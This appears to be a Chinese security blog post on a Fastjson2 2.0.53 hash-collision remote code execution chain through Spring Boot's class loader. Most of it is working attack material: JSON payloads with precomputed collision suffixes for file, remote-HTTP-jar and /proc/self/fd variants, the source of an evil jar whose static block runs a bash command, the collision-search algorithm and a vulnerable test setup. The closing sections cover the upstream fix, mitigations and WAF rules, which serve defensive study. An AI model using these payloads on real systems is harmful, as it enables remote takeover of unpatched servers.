Fastjson2 2.0.53 哈希碰撞 RCE:从原理到三种打法

攻击者往 JSON 里塞一个精心拼出来的类名,这个类名的哈希值恰好骗过 Fastjson2 的白名单检查,然后 Spring Boot 的类加载器二话不说去远程下载了这个"类"并执行------整个过程只需要默认配置,零额外条件。


0x00 背景与影响面

影响版本:Fastjson2 ≤ 2.0.53(Spring Boot fat-jar 部署 + JDK8 环境最舒服)

利用前提

  • 后端用了 Fastjson2 解析用户可控的 JSON
  • 项目是 java -jar 启动的标准 Spring Boot 包
  • 没有任何特殊配置(不开 SafeMode、不配 autoTypeAccept、不自定义过滤器)

最终效果:远程代码执行(RCE),攻击者能在目标服务器上跑任意命令。


0x01 先搞懂:为什么这玩意能成?

门禁只看工号,不查身份证

Fastjson2 遇到 {"@type":"某个类"} 时会尝试加载这个类。为了防止随便加载危险类,它有一道检查:把类名做 FNV-1a 64 位哈希,看结果是不是在白名单里。

问题在于------这个检查是"前缀匹配"的

它怎么做的?每读一个字符就累加一次哈希,每累加一次就问一遍"这个值在白名单里吗?"一旦发现哈希对上了,立刻放行,而且不验证这个类名到底是不是白名单里那个类的真名

打个比方:保安记住了"张三"的工号是 1234,有人报工号 1234 就放进去,但从来不看你的脸。

白名单里硬编码了一个魔法数字 -6293031534589903644,对应的是 com.alibaba.fastjson.util.AntiCollisionHashMap 这个类名的哈希值。Fastjson2 为了兼容老版本内部用了这个类,顺手把它写进了白名单------而且只写了这一个。

那攻击者怎么让哈希对上?

哈希碰撞。

FNV-1a 算法有个特性:输入稍微变一丢丢,输出就天差地别(雪崩效应)。反过来利用这个特性,攻击者可以用数学方法反推出一个字符串后缀,拼到自己的恶意类名后面,让整个字符串在计算到某一步时哈希值恰好等于那个魔法数字。

具体算法是 meet-in-the-middle(中间相遇):

  1. 从可控前缀出发,正向枚举 5 个字符的所有组合(64^5 ≈ 10 亿种),记录每一步的哈希值
  2. 从目标魔法数字出发,反向倒推 5 个字符(用质数的模逆元撤销乘法),同样记录
  3. 两边排序后双指针归并,找到交集就是碰撞成功

实测耗时:约 2-8 分钟(取决于前缀长度和机器性能)。


0x02 完整攻击链路拆解

整个漏洞由 5 个环节 串联,缺一个都打不通:

环节 1:硬编码魔法数字(根源)

java 复制代码
// ObjectReaderProvider 构造函数里
// 默认配置下,acceptHashCodes 只有 1 个元素
long[] acceptHashCodes = {-6293031534589903644L};

这个值就是 AntiCollisionHashMap 全限定名的 FNV-1a 哈希。用户没配任何 AUTO_TYPE_ACCEPT_LIST 时,白名单就只有它一个。

环节 2:前缀匹配 + 无文本校验(绕过关键)

java 复制代码
// checkAutoType 里的逻辑(简化)
long hash = MAGIC;
for (int i = 0; i < typeName.length(); i++) {
    hash ^= (long) typeName.charAt(i);
    hash *= PRIME;
    // 每步都查白名单
    if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
        return loadClass(typeName); // 直接放行!
    }
}

两个致命问题

  • 每读一个字符就查一次,不是读完整个类名才查
  • 哈希命中后直接 loadClass,不检查 typeName 的文本是不是真的等于 AntiCollisionHashMap

修复版(PR#7695)补了一道 acceptNameSet.contains(prefix) 文本校验,碰撞出来的 jar:http://... 前缀不在真实类名集合里,直接被拒。

环节 3:必须走 ObjectReaderImplObject 这条路

这是最坑的地方------同样的 @type,放在不同位置的 JSON 里,效果完全不同

Payload 形式 走哪条路径 结果
{"@type":"..."} 裸对象 read(Map) @type 当普通字段,不触发类加载
[{"@type":"..."}] 数组 ObjectReaderImplObject.readObject 触发 checkAutoType → RCE
parseObject(body, Object.class) ObjectReaderImplObject 触发 → RCE
Spring @RequestBody DTO 里 Object 字段 FieldReaderObjectObjectReaderImplObject 触发 → RCE

核心规律 :只要反序列化目标类型是 Object(或字段类型是 Object),就走 ObjectReaderImplObject,而这家伙在默认配置下无论如何都会调 checkAutoType

read(Map) 路径的源码里是 if (SupportAutoType) continue;,默认关了就直接跳过,把 @type 当普通 key-value 塞进 Map。

数组路径 则不同------数组元素没有预定类型,只能用 ObjectReaderImplObject 来读,这家伙第 110 行直接调 getObjectReaderAutoType(typeName, null),一路走到 checkAutoType

关于网传 {} 单对象 PoC 的说明 :网上有些文章说 {"@type":"..."} 单对象也能打。实测结论是------能打,但取决于 API 。用 JSON.parse() 裸解析 {} 不行(走 read(Map)),但用 parseObject(body, Object.class) 解析 {} 就行(走 ObjectReaderImplObject)。关键不是版本差异,是入口选择。

环节 4:Spring Boot 的类加载器链

Fastjson2 哈希校验通过后调 TypeUtils.loadClass(typeName),最终用的是线程上下文类加载器。在 Spring Boot 里这条链是:

复制代码
TomcatEmbeddedWebappClassLoader  (先在自己地盘 WEB-INF 找)
        ↓ 找不到
LaunchedURLClassLoader  (Spring Boot 的 fat-jar 专用加载器,继承自 URLClassLoader)
        ↓
URLClassLoader.findClass → ucp.getResource(path)
        ↓
发现 path 是个 jar:http:// URL → 下载 jar → defineClass

关键点:TomcatEmbeddedWebappClassLoader 在 WEB-INF 里找不到 jar:http://... 这种东西,于是委托给 parent LaunchedURLClassLoader。后者继承 URLClassLoader,它的 findClass 方法会把类名里的 . 替换成 / 再加 .class,然后当资源路径去查找。

jar:http://xxx/dN7aDLK4cHe!/poc/Exception 替换后变成 jar:http://xxx/dN7aDLK4cHe!/poc/Exception.class------这恰好是一个合法的 JAR URL,URLClassPath 看到 :// 就当绝对 URL 处理,发起 HTTP 请求下载 jar 包,读取里面的 poc/Exception.class 字节码,交给 defineClass 加载。

整个过程 Fastjson2 框架代码本身没有主动去下载任何东西 ------它只是调了 loadClass,是 Java 类加载器自己"贴心"地把类名当 URL 去下载了。

环节 5:JDK 版本决定能不能一步到位

类名含不含 // JDK 8 JDK 9+
jar:http://...(含 // ✅ defineClass 通过 ❌ ClassFormatError
jar:file:/tmp/...(单斜杠)

JDK 8 的 classFileParser 只禁止类名里出现 [(以及 . ;),不管 // 连续斜杠。JDK 9 开始加了更严格的校验,连续 // 直接拒绝。

这就是为什么 JDK 8 上可以直接 jar:http:// 一步 RCE ,而 JDK 9+ 需要绕两步(先 SSRF 把 jar 缓存到文件描述符,再用 jar:file:/proc/self/fd/N 本地加载)。


0x03 三种利用方式

方式一:FILE 版(本地文件)

条件 :evil jar 已经在目标机器的某个路径上(比如通过文件上传功能投递到 /tmp

Payload

json 复制代码
[{"@type":"jar:file:.tmp.evildFuzf6B8R0a!.poc.Exception","x":1}]

碰撞参数 :前缀 jar:file:.tmp.evil + 后缀 dFuzf6B8R0a,step 28 命中,耗时 262 秒。

适用 JDK :8 和 17 都行(路径里没有 //)。

方式二:HTTP 版(远程下载)

条件:目标能访问攻击者的 HTTP 服务器

Payload

json 复制代码
[{"@type":"jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception","x":1}]

拆解一下这个字符串:

  • jar:http: → JAR 协议 + HTTP
  • .. → 在 JSON 里用点号,Fastjson2 内部 replace 后变 /,拼成 http://
  • 2130706433127.0.0.1 的整数形式(避免点号被 replace 搞坏)
  • dN7aDLK4cHe → 碰撞算出来的后缀,让哈希命中
  • ! → JAR entry 分隔符
  • poc.Exception → jar 包内的 entry 名

碰撞参数 :前缀 jar:http:..2130706433. + 后缀 dN7aDLK4cHe,step 32 命中,耗时 472 秒。

适用 JDK :仅 JDK 8(含 //)。

方式三:FD 版(文件描述符,不出网,JDK 8/9+ 通杀)

这是最骚的一种打法------完全不需要出网 ,利用 Linux 的 /proc/self/fd/N 文件描述符加载。

思路

  1. 先用 multipart 慢速上传把一个 evil jar 投递到 Tomcat 的临时文件,Tomcat 会持有这个文件的 fd
  2. 然后发 JSON payload,枚举 fd 3 到 80,总有一个能命中
  3. jar:file:/proc/self/fd/N!/entry/path 单斜杠无 //,JDK 8 和 JDK 9+ 都能过 defineClass 校验

Payload 模板

json 复制代码
[
  {"@type":"jar:file:.proc.self.fd.3!.fd3.pPFJXAm_4db.poc.Exception","x":1},
  {"@type":"jar:file:.proc.self.fd.4!.fd4.<碰撞后缀>.poc.Exception","x":1},
  ...
  {"@type":"jar:file:.proc.self.fd.80!.fd80.<碰撞后缀>.poc.Exception","x":1}
]

关键技巧 :fd 号必须是纯数字(/proc/self/fd/3 才能被 Linux 正确解析),所以碰撞后缀放在 ! 后面的 entry 路径里,不影响 fd 解析。

碰撞参数

  • fd=3:前缀 jar:file:.proc.self.fd.3!.fd3. + 后缀 pPFJXAm_4db,step 40 命中
  • fd=40:前缀 jar:file:.proc.self.fd.40!.fd40. + 后缀 I2gu665SUgb

准备工作:需要预先碰撞 fd 3-80 的 entry 后缀,每个约 2 分钟,全部约 2.5 小时。碰撞完之后 payload 模板固定,实战中只需 multipart 投递 + 枚举。


0x04 环境搭建

依赖(pom.xml)

xml 复制代码
<dependencies>
    <dependency>
        <groupId>com.alibaba.fastjson2</groupId>
        <artifactId>fastjson2</artifactId>
        <version>2.0.53</version>
    </dependency>
    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-web</artifactId>
        <version>2.7.18</version>
    </dependency>
</dependencies>

漏洞触发代码(就一行)

java 复制代码
@RestController
public class Ctrl {
    @PostMapping("/api/data")
    public Map<String, Object> data(@RequestBody String body) {
        Map<String, Object> r = new HashMap<>();
        try {
            Object obj = JSON.parse(body);  // ← 就这一行
            r.put("ok", true);
            r.put("class", obj.getClass().getName());
        } catch (Throwable e) {
            r.put("ok", false);
            r.put("error", e.getClass().getName() + ":" + e.getMessage());
        }
        return r;
    }
}

启动方式

bash 复制代码
java -jar target/demo-1.jar

没有 application.properties,没有额外配置,Fastjson2 纯默认。

配置默认性自查表

维度 配置 是否默认
Fastjson2 无任何设置(不开 SupportAutoType,不配 autoTypeAccept,不设 SafeMode)
Spring Boot spring-boot-starter-web(默认 Tomcat),无配置文件
应用代码 JSON.parse(body) 一行 ✅ 最简
Classpath 只有 fj2(无 fj1),evil 父类用 JDK 自带 Exception ✅ 干净
部署方式 java -jar(Spring Boot fat-jar,LaunchedURLClassLoader) ✅ 标准
JDK 8u492

0x05 Evil Jar 怎么造

恶意 jar 包里的类需要满足几个条件:

java 复制代码
package poc;

public class Exception extends java.lang.Exception {
    static {
        try {
            // 类加载时自动执行
            new ProcessBuilder("bash", "-c", 
                "echo RCE_OK > /tmp/rce_proof.txt").start();
        } catch (Exception ignored) {}
    }
}

关键点

  • 必须继承 java.lang.Exception(JDK 自带,无需额外依赖)
  • 类名以 Exception 结尾 ------Fastjson2 默认配置下,如果 @type 加载失败会抛异常中断解析;但如果类名以 ExceptionError 结尾,它会静默忽略继续往下走。这在数组场景至关重要,没命中的 fd 元素不会打断后续元素的解析
  • this_class 必须精确匹配加载路径 ------jar 包里 Exception.classthis_class 常量要写成 jar:http://xxx/xxx!/poc/Exception,否则报 NoClassDefFoundError: wrong name
  • <clinit>(static 块)触发命令执行,类一加载就跑

0x06 碰撞器实现思路

核心算法 meet-in-the-middle 的伪代码:

复制代码
forward_pass:
    start_hash = FNV1a(prefix)
    for combo in all_5char_combinations:  # 64^5 ≈ 10亿
        h = start_hash
        for c in combo:
            h ^= c; h *= PRIME
        store(h, combo)

backward_pass:
    target = -6293031534589903644
    for combo in all_5char_combinations:
        h = target
        for c in reversed(combo):
            h *= MOD_INVERSE_OF_PRIME  # 模逆元撤销
            h ^= c
        store(h, combo)

merge:
    sort both arrays
    two-pointer intersection → 找到碰撞点 → 重建完整后缀

字符集用 64 个字符(大小写字母 + 数字 + 部分符号),避开 Fastjson2 在类名解析中会被转义的字符。


0x07 完整调用栈(HTTP 版,JDK 8)

复制代码
POST /api/data
Body: [{"@type":"jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception","x":1}]

JSON.parse(body)
  → 首字符 '[' → 走数组路径
  → JSONReader.read(List)
    → 元素用 ObjectReaderImplObject.INSTANCE.readObject()
      → 读到 @type 字段
      → 默认配置 else 分支:
        typeName = "jar:http:..2130706433.dN7aDLK4cHe!.poc.Exception"
        context.getObjectReaderAutoType(typeName, null)
          → ObjectReaderProvider.checkAutoType()
            → FNV-1a 逐步累加
            → step 32: hash = -6293031534589903644 ✅ 命中!
            → loadClass(typeName)
              → TypeUtils.loadClass()
                → TomcatEmbeddedWebappClassLoader.loadClass()
                  → findClass() 在 WEB-INF 找不到 → null
                  → loadFromParent() → Class.forName(name, false, LaunchedURLClassLoader)
                    → LaunchedURLClassLoader.loadClass()
                      → URLClassLoader.findClass()
                        → path = name.replace('.','/') + ".class"
                          = "jar:http://2130706433/dN7aDLK4cHe!/poc/Exception.class"
                        → ucp.getResource(path)
                          → 解析 jar:http URL → HTTP 下载 → jar_cache*.tmp
                        → defineClass(name, bytes) ← JDK8 不校验 //
                          → 类加载成功
                          → <clinit> 触发
                            → ProcessBuilder("bash","-c","echo HTTP_RCE_OK > ...").start()
                            → 💥 RCE

0x08 预计算的碰撞结果

利用方式 前缀 碰撞后缀 命中 step 耗时
FILE jar:file:.tmp.evil dFuzf6B8R0a 28 262s
HTTP jar:http:..2130706433. dN7aDLK4cHe 32 472s
FD=3 jar:file:.proc.self.fd.3!.fd3. pPFJXAm_4db 40 132s
FD=40 jar:file:.proc.self.fd.40!.fd40. I2gu665SUgb --- ---

0x09 与 Fastjson 1.2.83 RCE 的区别

很多人第一眼看到这个漏洞,会觉得它和 Fastjson 1.2.83(CVE-2026-16723) 基本一样。

实际上,它们属于同一类利用链,但不是同一个漏洞。

相同点:后半段利用链几乎一致

两者最终都是:

复制代码
攻击者控制 @type
        ↓
checkAutoType 放行
        ↓
loadClass(typeName)
        ↓
TomcatEmbeddedWebappClassLoader
        ↓
LaunchedURLClassLoader
        ↓
URLClassLoader.findClass()
        ↓
JarURLConnection
        ↓
下载远程 Jar
        ↓
defineClass
        ↓
RCE

也就是说,两者最终都依赖 Spring Boot fat-jar 的 LaunchedURLClassLoader(底层 URLClassLoader 将攻击者构造的 jar: URL 当作类路径解析,从而下载并加载恶意类。

因此:

真正负责"远程下载并执行"的并不是 Fastjson,而是 Java 类加载器。Fastjson 的作用只是让攻击者能够控制 loadClass(typeName) 的参数。


不同点:漏洞根因完全不同

Fastjson 1.2.83

漏洞核心在 AutoType 检查逻辑

Fastjson1 在 ParserConfig.checkAutoType() 中,对攻击者可控的 typeName 校验存在缺陷,最终导致恶意 typeName 可以进入 loadClass(),完成后续利用。

因此:

1.x 的漏洞重点是 AutoType 校验机制本身。


Fastjson2 2.0.53

Fastjson2 的 AutoType 整体实现已经重构。

真正的问题出在:

复制代码
ObjectReaderProvider.checkAutoType()

默认白名单只保存了:

复制代码
acceptHashCodes

而不是:

复制代码
真实类名

校验过程采用:

复制代码
逐字符计算 FNV-1a Hash
        ↓
每一步都查询 acceptHashCodes
        ↓
Hash 命中立即 loadClass()

但是:

命中 Hash 后,没有再校验真实类名是否就是白名单里的那个类。

于是攻击者可以利用 FNV-1a Hash 碰撞

复制代码
jar:http://......
        +
碰撞字符串
        ↓
Hash ==
AntiCollisionHashMap 的 Hash
        ↓
骗过 checkAutoType()
        ↓
loadClass()

官方 PR #7695 修复的重点,也是增加:

java 复制代码
acceptNameSet.contains(prefix)

即:

Hash 命中之后,再校验真实类名。

因此:

Fastjson2 的漏洞本质不是 AutoType 本身,而是 Hash 白名单校验存在碰撞绕过。


一句话总结

两者可以理解为:

Fastjson 1.2.83 Fastjson2 2.0.53
AutoType 校验存在缺陷 Hash 白名单校验存在缺陷
最终进入 loadClass() 最终进入 loadClass()
利用 LaunchedURLClassLoader 下载恶意 Jar 利用 LaunchedURLClassLoader 下载恶意 Jar
漏洞根因不同 漏洞根因不同
后半段利用链几乎完全一致 后半段利用链几乎完全一致

0x10 漏洞本质与修复

五层信任链全部失效

缺陷层级 问题
Fastjson2 框架 白名单用哈希做前缀匹配 + 命中后不校验原始文本(PR#7695 修复)
Spring Boot LaunchedURLClassLoader 继承 URLClassLoaderfindClass 能解析 jar: URL 并远程下载
JDK 8 defineClass 不校验 //jar:http:// 直接加载
JAR URL 协议 语义本身就支持嵌套远程加载(jar:http://...!/entry
JSON 协议 @type 机制天然提供了"让服务端加载任意类"的入口

官方修复(PR#7695)做了三件事

  1. 加文本校验 :哈希命中后,取出已扫描的前缀子串,必须在真实白名单类名集合 acceptNameSet 里。jar:http://... 不在集合里,直接拒

  2. 拒绝特殊字符

java 复制代码
if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) {
    throw new JSONException("autoType is not support." + typeName);
}

直接把 jar: http: file: ! 这些 URL 特征字符拦在门口。

  1. 拒绝危险基类
java 复制代码
if (ClassLoader.class.isAssignableFrom(clazz) || isSQLDataSource(clazz)) {
    throw new JSONException("autoType is not support." + typeName);
}

临时缓解方案

  • 升级 Fastjson2 到包含 PR#7695 的版本(>= 2.0.54)
  • 开启 SafeModeJSONFactory.getDefaultObjectReaderProvider().setSafeMode(true) 彻底禁用 autoType
  • WAF 规则 :拦截请求体中 @type 包含 jar: http: file: ! 的 JSON
  • 网络隔离:阻断服务器主动外连(同时防御 HTTP 版和 FD 版的 SSRF 投递阶段)
  • JDK 9+ 的 // 校验 算是一道天然防线,但不能单独依赖(FD 版可以绕过)

0x0A 写在最后

这个漏洞的精妙之处在于------Fastjson 1.2.83 与 Fastjson2 2.0.53 虽然根因不同,但都体现了同一种利用思想:前半段通过不同方式绕过 AutoType 安全检查,后半段利用 Spring Boot LaunchedURLClassLoader(底层 URLClassLoader)解析 jar: URL 完成远程类加载。因此,两者真正不同的是"如何进入 loadClass()",而不是"进入 loadClass() 之后发生了什么"。

Fastjson2 的哈希前缀匹配缺陷提供了"进门"的机会,Spring Boot 的类加载器链提供了"下载"的能力,JDK 8 的宽松校验提供了"执行"的可能,而 JSON 数组的触发方式提供了"稳定利用"的入口。

单独看每一环都算不上什么惊天大洞,但串起来就是一条完整的 RCE 链。这就是安全研究的乐趣所在------把看似无害的小裂缝,连成一道击穿系统的光。

⚠️ 免责声明:本文所述内容仅用于安全研究与防御目的。未经授权对第三方系统进行测试属于违法行为,后果自负。

相关推荐
黄河123长江2 小时前
有限Abel群的结构()
算法
Jerry2 小时前
LeetCode 92. 反转链表 II
算法
骊城英雄2 小时前
Rust从入门到精通-trait
人工智能·算法·rust
可编程芯片开发3 小时前
基于PI控制算法的pwm直流电机控制系统Simulink建模与仿真
算法
怕浪猫3 小时前
2840亿参数只卖白菜价:DeepSeek V4 Flash 正式版上线,Agent 能力暴涨6倍
人工智能·算法
让学习成为一种生活方式3 小时前
苄基异喹啉生物碱糖基转移酶UGT74AN1晶体--Journal of Agricultural and Food Chemistry
人工智能·算法
alphaTao3 小时前
LeetCode 每日一题 2026/7/27-2026/8/2
python·算法·leetcode
2501_926978334 小时前
提示工程的实战报告(二):模型的失败模式与边界行为
人工智能·深度学习·算法
小小晓.4 小时前
C++记:函数
开发语言·c++·算法